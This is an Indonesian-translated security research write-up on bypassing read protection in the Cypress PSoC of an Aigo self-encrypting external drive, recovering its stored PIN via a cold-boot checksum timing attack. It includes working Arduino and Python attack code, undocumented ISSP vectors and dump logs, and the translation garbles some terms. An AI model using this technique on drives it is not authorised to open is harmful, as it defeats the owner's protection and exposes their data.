Membalikkan dan meretas drive HDD eksternal yang mengenkripsi sendiri Aigo. Bagian 2: Mengambil dump dari Cypress PSoC

Ini adalah bagian kedua dan terakhir dari artikel tentang meretas drive eksternal yang mengenkripsi sendiri. Izinkan saya mengingatkan Anda bahwa seorang kolega baru-baru ini membawakan saya hard drive Patriot (Aigo) SK8671, dan saya memutuskan untuk membalikkannya, dan sekarang saya membagikan hasilnya. Sebelum membaca lebih lanjut, pastikan untuk membaca bagian pertama artikel.

4. Kami mulai mengambil dump dari flash drive PSoC internal
5. Protokol ISSP
– 5.1. Apa itu ISSP
– 5.2. Mengungkap Vektor
– 5.3. Komunikasi dengan PSoC
– 5.4. Identifikasi register on-chip
– 5.5. Bit keamanan
6. Serangan pertama (gagal): ROMX
7. Serangan Kedua: Pelacakan Boot Dingin
– 7.1. Penerapan
– 7.2. Membaca hasilnya
– 7.3. Rekonstruksi biner flash
– 7.4. Menemukan alamat penyimpanan kode PIN
– 7.5. Pembuangan blok No.126
– 7.6. Pemulihan kode PIN
8. Apa selanjutnya?
9. Kesimpulan

Membalikkan dan meretas drive HDD eksternal yang mengenkripsi sendiri Aigo. Bagian 2: Mengambil dump dari Cypress PSoC


4. Kami mulai mengambil dump dari flash drive PSoC internal

Jadi, semuanya menunjukkan (seperti yang kami tentukan di [bagian pertama]()) bahwa kode PIN disimpan di kedalaman flash PSoC. Oleh karena itu, kita perlu membaca kedalaman flash ini. Bagian depan pekerjaan yang diperlukan:

  • mengendalikan “komunikasi” dengan mikrokontroler;
  • temukan cara untuk memeriksa apakah “komunikasi” ini dilindungi dari pembacaan dari luar;
  • temukan cara untuk melewati perlindungan.

Ada dua tempat yang masuk akal untuk mencari kode PIN yang valid:

  • memori flash internal;
  • SRAM, dimana kode pin dapat disimpan untuk dibandingkan dengan kode pin yang dimasukkan oleh pengguna.

Ke depan, saya perhatikan bahwa saya masih berhasil membuang flash drive PSoC internal - melewati sistem keamanannya menggunakan serangan perangkat keras yang disebut "cold boot tracing" - setelah membalikkan kemampuan protokol ISSP yang tidak terdokumentasi. Ini memungkinkan saya untuk langsung membuang kode PIN yang sebenarnya.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Kode program terakhir:

5. Protokol ISSP

5.1. Apa itu ISSP

“Komunikasi” dengan mikrokontroler dapat memiliki arti yang berbeda: dari “vendor ke vendor” hingga interaksi menggunakan protokol serial (misalnya, ICSP untuk PIC Microchip).

Cypress memiliki protokol miliknya sendiri untuk ini, yang disebut ISSP (protokol pemrograman serial dalam sistem), yang sebagian dijelaskan dalam spesifikasi teknis. Paten US7185162 juga memberikan beberapa informasi. Ada juga padanan OpenSource yang disebut HSSP (kita akan menggunakannya nanti). ISSP berfungsi sebagai berikut:

  • reboot PSoC;
  • keluaran nomor ajaib ke pin data serial PSoC ini; untuk masuk ke mode pemrograman eksternal;
  • kirim perintah, yang merupakan string bit panjang yang disebut "vektor".

Dokumentasi ISSP mendefinisikan vektor-vektor ini hanya untuk segelintir perintah:

  • Inisialisasi-1
  • Inisialisasi-2
  • Inisialisasi-3 (opsi 3V dan 5V)
  • PENYIAPAN ID
  • BACA-ID-KATA
  • SET-BLOCK-NUM: 10011111010dddddddd111, dimana dddddddd=blok #
  • HAPUS SECARA MASSAL
  • BLOK PROGRAM
  • VERIFIKASI-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, dimana DDDDDDDD = data keluar, aaaaaa = alamat (6 bit)
  • WRITE-BYTE: 10010aaaaaaddddddd111, dimana dddddddd = data masuk, aaaaaa = alamat (6 bit)
  • AMAN
  • PENYIAPAN CHECKSUM
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, dimana DDDDDDDDDDDDDDDD = data keluar: checksum perangkat
  • HAPUS BLOK

Misalnya, vektor untuk Inisialisasi-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Semua vektor memiliki panjang yang sama: 22 bit. Dokumentasi HSSP memiliki beberapa informasi tambahan tentang ISSP: “Vektor ISSP tidak lebih dari rangkaian bit yang mewakili serangkaian instruksi.”

5.2. Mengungkap Vektor

Mari kita cari tahu apa yang terjadi di sini. Awalnya, saya berasumsi bahwa vektor yang sama ini adalah versi mentah dari instruksi M8C, tetapi setelah memeriksa hipotesis ini, saya menemukan bahwa opcode operasi tidak cocok.

Kemudian saya mencari di Google vektor di atas dan menemukan ini dia sebuah studi di mana penulis, meskipun dia tidak menjelaskan secara rinci, memberikan beberapa tip berguna: “Setiap instruksi dimulai dengan tiga bit yang sesuai dengan salah satu dari empat mnemonik (baca dari RAM, tulis ke RAM, baca register, tulis register). Lalu ada 8 bit alamat, diikuti oleh 8 bit data (baca atau tulis) dan terakhir tiga bit stop.”

Kemudian saya dapat memperoleh beberapa informasi yang sangat berguna dari bagian Supervisory ROM (SROM). panduan teknis. SROM adalah ROM berkode keras di PSoC yang menyediakan fungsi utilitas (dengan cara yang mirip dengan Syscall) untuk kode program yang berjalan di ruang pengguna:

  • 00 jam:SWBootReset
  • 01 jam: Blok Baca
  • 02 jam: Blok Tulis
  • 03 jam: Hapus Blokir
  • 06h: TabelBaca
  • 07:XNUMX CheckSum
  • 08 jam: Kalibrasi0
  • 09 jam: Kalibrasi1

Dengan membandingkan nama vektor dengan fungsi SROM, kita dapat memetakan berbagai operasi yang didukung oleh protokol ini ke parameter SROM yang diharapkan. Berkat ini, kita dapat memecahkan kode tiga bit pertama vektor ISSP:

  • 100 => “kecelakaan”
  • 101 => “mem”
  • 110 => “salah”
  • 111 => “rdreg”

Namun, pemahaman lengkap tentang proses on-chip hanya dapat diperoleh melalui komunikasi langsung dengan PSoC.

5.3. Komunikasi dengan PSoC

Karena Dirk Petrautsky sudah melakukannya porting Kode HSSP Cypress di Arduino, saya menggunakan Arduino Uno untuk terhubung ke konektor ISSP pada papan keyboard.

Harap dicatat bahwa selama penelitian saya, saya sedikit mengubah kode Dirk. Anda dapat menemukan modifikasi saya di GitHub: di sini dan skrip Python yang sesuai untuk berkomunikasi dengan Arduino, di repositori saya cypress_psoc_tools.

Jadi, dengan menggunakan Arduino, pertama-tama saya hanya menggunakan vektor “resmi” untuk “komunikasi”. Saya mencoba membaca ROM internal menggunakan perintah VERIFY. Sudah kuduga, aku tidak bisa melakukan ini. Mungkin karena bit perlindungan baca diaktifkan di dalam flash drive.

Kemudian saya membuat beberapa vektor sederhana saya sendiri untuk menulis dan membaca memori/register. Perlu diketahui bahwa kita dapat membaca seluruh SROM meskipun flash drive terlindungi!

5.4. Identifikasi register on-chip

Setelah melihat vektor yang “dibongkar”, saya menemukan bahwa perangkat menggunakan register tidak berdokumen (0xF8-0xFA) untuk menentukan opcode M8C, yang dijalankan secara langsung, melewati perlindungan. Ini memungkinkan saya menjalankan berbagai opcode seperti "ADD", "MOV A, X", "PUSH" atau "JMP". Berkat mereka (dengan melihat efek samping yang ditimbulkan pada register) saya dapat menentukan register tidak berdokumen mana yang sebenarnya merupakan register biasa (A, X, SP dan PC).

Hasilnya, kode yang “dibongkar” yang dihasilkan oleh alat HSSP_disas.rb terlihat seperti ini (saya menambahkan komentar untuk kejelasan):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Bit keamanan

Pada tahap ini saya sudah dapat berkomunikasi dengan PSoC, namun saya masih belum memiliki informasi yang dapat dipercaya tentang bit keamanan flash drive. Saya sangat terkejut dengan kenyataan bahwa Cypress tidak menyediakan sarana apa pun kepada pengguna perangkat untuk memeriksa apakah perlindungan diaktifkan. Saya menggali lebih dalam ke Google hingga akhirnya memahami bahwa kode HSSP yang disediakan oleh Cypress diperbarui setelah Dirk merilis modifikasinya. Dan sebagainya! Vektor baru ini telah muncul:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Dengan menggunakan vektor ini (lihat read_security_data di psoc.py), kita mendapatkan semua bit keamanan di SRAM pada 0x80, dengan dua bit per blok yang dilindungi.

Hasilnya menyedihkan: semuanya dilindungi dalam mode “nonaktifkan membaca dan menulis eksternal”. Oleh karena itu, kita tidak hanya tidak dapat membaca apa pun dari flash drive, tetapi kita juga tidak dapat menulis apa pun (misalnya, untuk menginstal dumper ROM di sana). Dan satu-satunya cara untuk menonaktifkan perlindungan adalah dengan menghapus seluruh chip. 🙁

6. Serangan pertama (gagal): ROMX

Namun, kita dapat mencoba trik berikut: karena kita memiliki kemampuan untuk mengeksekusi opcode sewenang-wenang, mengapa tidak mengeksekusi ROMX, yang digunakan untuk membaca memori flash? Pendekatan ini memiliki peluang sukses yang besar. Karena fungsi ReadBlock yang membaca data dari SROM (yang digunakan oleh vektor) memeriksa apakah dipanggil dari ISSP. Namun, opcode ROMX mungkin tidak memiliki pemeriksaan seperti itu. Jadi inilah kode Python (setelah menambahkan beberapa kelas pembantu ke kode Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Sayangnya kode ini tidak berfungsi. 🙁 Atau lebih tepatnya berhasil, tetapi kami mendapatkan opcode kami sendiri pada output (0x28 0x30 0x40)! Menurut saya, fungsionalitas perangkat yang sesuai bukanlah elemen perlindungan baca. Ini lebih seperti trik teknik: ketika menjalankan opcode eksternal, bus ROM dialihkan ke buffer sementara.

7. Serangan Kedua: Pelacakan Boot Dingin

Karena trik ROMX tidak berhasil, saya mulai memikirkan variasi lain dari trik ini - dijelaskan dalam publikasi "Menjelaskan Terlalu Banyak Perlindungan Firmware Mikrokontroler".

7.1. Penerapan

Dokumentasi ISSP menyediakan vektor berikut untuk CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ini pada dasarnya memanggil fungsi SROM 0x07, seperti yang disajikan dalam dokumentasi (cetak miring milik saya):

Verifikasi checksum fungsi ini. Ini menghitung checksum 16-bit dari jumlah blok yang ditentukan pengguna dalam satu bank flash, mulai dari nol. Parameter BLOCKID digunakan untuk melewatkan jumlah blok yang akan digunakan saat menghitung checksum. Nilai "1" hanya akan menghitung checksum untuk blok nol; sedangkan "0" akan menyebabkan total checksum dari 256 blok bank flash dihitung. Checksum 16-bit dikembalikan melalui KEY1 dan KEY2. Parameter KEY1 menyimpan checksum 8 bit orde rendah, dan parameter KEY2 menyimpan 8 bit orde tinggi. Untuk perangkat dengan beberapa bank flash, fungsi checksum dipanggil untuk masing-masing bank secara terpisah. Nomor bank yang akan digunakan diatur oleh register FLS_PR1 (dengan mengatur bit di dalamnya sesuai dengan bank flash target).

Perhatikan bahwa ini adalah checksum sederhana: byte ditambahkan satu demi satu; tidak ada kebiasaan CRC yang mewah. Selain itu, mengetahui bahwa inti M8C memiliki kumpulan register yang sangat kecil, saya berasumsi bahwa saat menghitung checksum, nilai perantara akan dicatat dalam variabel yang sama yang pada akhirnya akan menuju ke output: KEY1 (0xF8) / KEY2 ( 0xF9).

Jadi secara teori serangan saya terlihat seperti ini:

  1. Kami terhubung melalui ISSP.
  2. Kita memulai perhitungan checksum menggunakan vektor CHECKSUM-SETUP.
  3. Kami me-reboot prosesor setelah waktu tertentu T.
  4. Kami membaca RAM untuk mendapatkan checksum C saat ini.
  5. Ulangi langkah 3 dan 4, setiap kali naikkan T sedikit.
  6. Kami memulihkan data dari flash drive dengan mengurangi checksum C sebelumnya dari yang sekarang.

Namun, ada masalah: vektor Inisialisasi-1 yang harus kita kirim setelah reboot menimpa KEY1 dan KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Kode ini menimpa checksum berharga kita dengan memanggil Calibrate1 (fungsi SROM 9)... Mungkin kita bisa mengirimkan angka ajaib (dari awal kode di atas) untuk masuk ke mode pemrograman, lalu membaca SRAM? Dan ya, itu berhasil! Kode Arduino yang mengimplementasikan serangan ini cukup sederhana:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Baca checkum_delay.
  2. Jalankan perhitungan checksum (send_checksum_v).
  3. Tunggu selama jangka waktu tertentu; dengan mempertimbangkan kendala-kendala berikut:
    • Saya membuang banyak waktu sampai saya mengetahui hasilnya tundaMikrodetik berfungsi dengan benar hanya dengan penundaan tidak melebihi 16383 s;
    • dan sekali lagi mematikan jumlah waktu yang sama sampai saya menemukan bahwa delayMicroseconds, jika 0 diteruskan sebagai input, berfungsi sepenuhnya dengan tidak benar!
  4. Reboot PSoC ke mode pemrograman (kami hanya mengirimkan angka ajaib, tanpa mengirimkan vektor inisialisasi).

Kode terakhir dengan Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Singkatnya, apa yang dilakukan kode ini:

  1. Nyalakan ulang PSoC (dan kirimkan nomor ajaib).
  2. Mengirim vektor inisialisasi penuh.
  3. Memanggil fungsi Arduino Cmnd_STK_START_CSUM (0x85), di mana penundaan dalam mikrodetik dilewatkan sebagai parameter.
  4. Membaca checksum (0xF8 dan 0xF9) dan register tidak berdokumen 0xF1.

Kode ini dieksekusi 10 kali dalam 1 mikrodetik. 0xF1 disertakan di sini karena merupakan satu-satunya register yang berubah saat menghitung checksum. Mungkin itu semacam variabel sementara yang digunakan oleh unit logika aritmatika. Perhatikan peretasan jelek yang saya gunakan untuk mereset Arduino menggunakan picocom ketika Arduino berhenti menunjukkan tanda-tanda kehidupan (tidak tahu kenapa).

7.2. Membaca hasilnya

Hasil skrip Python terlihat seperti ini (disederhanakan agar mudah dibaca):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Meskipun demikian, kita mempunyai masalah: karena kita beroperasi dengan checksum sebenarnya, byte nol tidak mengubah nilai yang dibaca. Namun, karena seluruh prosedur penghitungan (8192 byte) memerlukan waktu 0,1478 detik (dengan sedikit variasi setiap kali dijalankan), yang setara dengan sekitar 18,04 μs per byte, kita dapat menggunakan waktu ini untuk memeriksa nilai checksum pada waktu yang tepat. Untuk proses pertama, semuanya dibaca dengan cukup mudah, karena durasi prosedur komputasi selalu hampir sama. Namun, akhir dari dump ini kurang akurat karena “penyimpangan waktu kecil” pada setiap proses bertambah menjadi signifikan:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Itu berarti 10 dump untuk setiap penundaan mikrodetik. Total waktu pengoperasian untuk membuang semua 8192 byte flash drive adalah sekitar 48 jam.

7.3. Rekonstruksi biner flash

Saya belum menyelesaikan penulisan kode yang akan sepenuhnya merekonstruksi kode program flash drive, dengan mempertimbangkan semua penyimpangan waktu. Namun, saya telah memulihkan bagian awal kode ini. Untuk memastikan saya melakukannya dengan benar, saya membongkarnya menggunakan m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Tampaknya cukup masuk akal!

7.4. Menemukan alamat penyimpanan kode PIN

Sekarang kita dapat membaca checksum pada waktu yang kita perlukan, kita dapat dengan mudah memeriksa bagaimana dan di mana perubahannya ketika kita:

  • masukkan kode PIN yang salah;
  • mengubah kode pin.

Pertama, untuk menemukan perkiraan alamat penyimpanan, saya mengambil checksum dump dengan kelipatan 10 ms setelah reboot. Lalu saya salah memasukkan PIN dan melakukan hal yang sama.

Hasilnya kurang menyenangkan, karena banyak perubahan. Namun pada akhirnya saya dapat menentukan bahwa checksum berubah antara penundaan 120000 µs dan 140000 µs. Tapi "kode pin" yang saya tampilkan di sana sepenuhnya salah - karena artefak dari prosedur delayMicroseconds, yang melakukan hal-hal aneh ketika 0 diteruskan ke sana.

Kemudian, setelah menghabiskan hampir 3 jam, saya teringat bahwa panggilan sistem SROM CheckSum menerima argumen sebagai masukan yang menentukan jumlah blok untuk checksum! Itu. kita dapat dengan mudah melokalisasi alamat penyimpanan kode PIN dan penghitung “percobaan yang salah”, dengan akurasi hingga blok 64-byte.

Proses awal saya menghasilkan hasil sebagai berikut:

Membalikkan dan meretas drive HDD eksternal yang mengenkripsi sendiri Aigo. Bagian 2: Mengambil dump dari Cypress PSoC

Kemudian saya mengubah kode PIN dari "123456" menjadi "1234567" dan mendapatkan:

Membalikkan dan meretas drive HDD eksternal yang mengenkripsi sendiri Aigo. Bagian 2: Mengambil dump dari Cypress PSoC

Dengan demikian, kode PIN dan penghitung upaya yang salah tampaknya disimpan di blok No. 126.

7.5. Pembuangan blok No.126

Blok #126 seharusnya terletak di suatu tempat sekitar 125x64x18 = 144000μs, dari awal perhitungan checksum, di dump penuh saya, dan itu terlihat cukup masuk akal. Kemudian, setelah secara manual menyaring banyak dump yang tidak valid (karena akumulasi “penyimpangan waktu kecil”), saya akhirnya mendapatkan byte ini (dengan latensi 145527 s):

Membalikkan dan meretas drive HDD eksternal yang mengenkripsi sendiri Aigo. Bagian 2: Mengambil dump dari Cypress PSoC

Jelas sekali bahwa kode PIN disimpan tidak terenkripsi! Nilai-nilai ini, tentu saja, tidak ditulis dalam kode ASCII, namun ternyata mencerminkan pembacaan yang diambil dari keyboard kapasitif.

Akhirnya, saya menjalankan beberapa tes lagi untuk menemukan di mana penghitung upaya buruk disimpan. Inilah hasilnya:

Membalikkan dan meretas drive HDD eksternal yang mengenkripsi sendiri Aigo. Bagian 2: Mengambil dump dari Cypress PSoC

0xFF - berarti "15 percobaan" dan berkurang setiap kali percobaan gagal.

7.6. Pemulihan kode PIN

Inilah kode jelek saya yang menggabungkan hal di atas:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Berikut hasil pelaksanaannya:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hore! Berhasil!

Harap dicatat bahwa nilai latensi yang saya gunakan kemungkinan besar relevan dengan satu PSoC tertentu - yang saya gunakan.

8. Apa selanjutnya?

Jadi, mari kita rangkum dari sisi PSoC, dalam konteks drive Aigo kita:

  • kita dapat membaca SRAM meskipun dilindungi dari baca;
  • Kita dapat melewati perlindungan anti-swipe dengan menggunakan serangan cold boot trace dan langsung membaca kode PIN.

Namun, serangan kami memiliki beberapa kelemahan karena masalah sinkronisasi. Hal ini dapat ditingkatkan sebagai berikut:

  • menulis utilitas untuk memecahkan kode dengan benar data keluaran yang diperoleh sebagai hasil dari serangan “cold boot trace”;
  • gunakan gadget FPGA untuk membuat waktu tunda yang lebih tepat (atau gunakan pengatur waktu perangkat keras Arduino);
  • coba serangan lain: masukkan kode PIN yang sengaja salah, reboot dan buang RAM, dengan harapan kode PIN yang benar akan disimpan di RAM untuk perbandingan. Namun, hal ini tidak mudah dilakukan di Arduino, karena level sinyal Arduino adalah 5 volt, sedangkan papan yang kami periksa bekerja dengan sinyal 3,3 volt.

Satu hal menarik yang bisa dicoba adalah bermain-main dengan level tegangan untuk melewati proteksi baca. Jika pendekatan ini berhasil, kita akan bisa mendapatkan data yang benar-benar akurat dari flash drive - daripada mengandalkan pembacaan checksum dengan penundaan waktu yang tidak tepat.

Karena SROM mungkin membaca bit penjaga melalui panggilan sistem ReadBlock, kita dapat melakukan hal yang sama dijelaskan di blog Dmitry Nedospasov - implementasi ulang serangan Chris Gerlinski, diumumkan di konferensi "REcon Brussel 2017".

Hal menyenangkan lainnya yang dapat dilakukan adalah menyelesaikan kasus ini dari chip: mengambil dump SRAM, mengidentifikasi panggilan sistem dan kerentanan yang tidak terdokumentasi.

9. Kesimpulan

Jadi, perlindungan drive ini menyisakan banyak hal yang diinginkan, karena menggunakan mikrokontroler biasa (bukan yang "dikeraskan") untuk menyimpan kode PIN... Ditambah lagi, saya belum melihat (belum) bagaimana keadaannya dengan data enkripsi pada perangkat ini!

Apa yang bisa Anda rekomendasikan untuk Aigo? Setelah menganalisis beberapa model drive HDD terenkripsi, pada tahun 2015 saya membuatnya presentasi dari di SyScan, di mana ia memeriksa masalah keamanan beberapa drive HDD eksternal, dan memberikan rekomendasi tentang apa yang dapat ditingkatkan di dalamnya. 🙂

Saya menghabiskan dua akhir pekan dan beberapa malam untuk melakukan penelitian ini. Total sekitar 40 jam. Menghitung dari awal (saat saya membuka disk) hingga akhir (dump kode PIN). 40 jam yang sama termasuk waktu yang saya habiskan untuk menulis artikel ini. Itu adalah perjalanan yang sangat menyenangkan.

Sumber: www.habr.com

Tambah komentar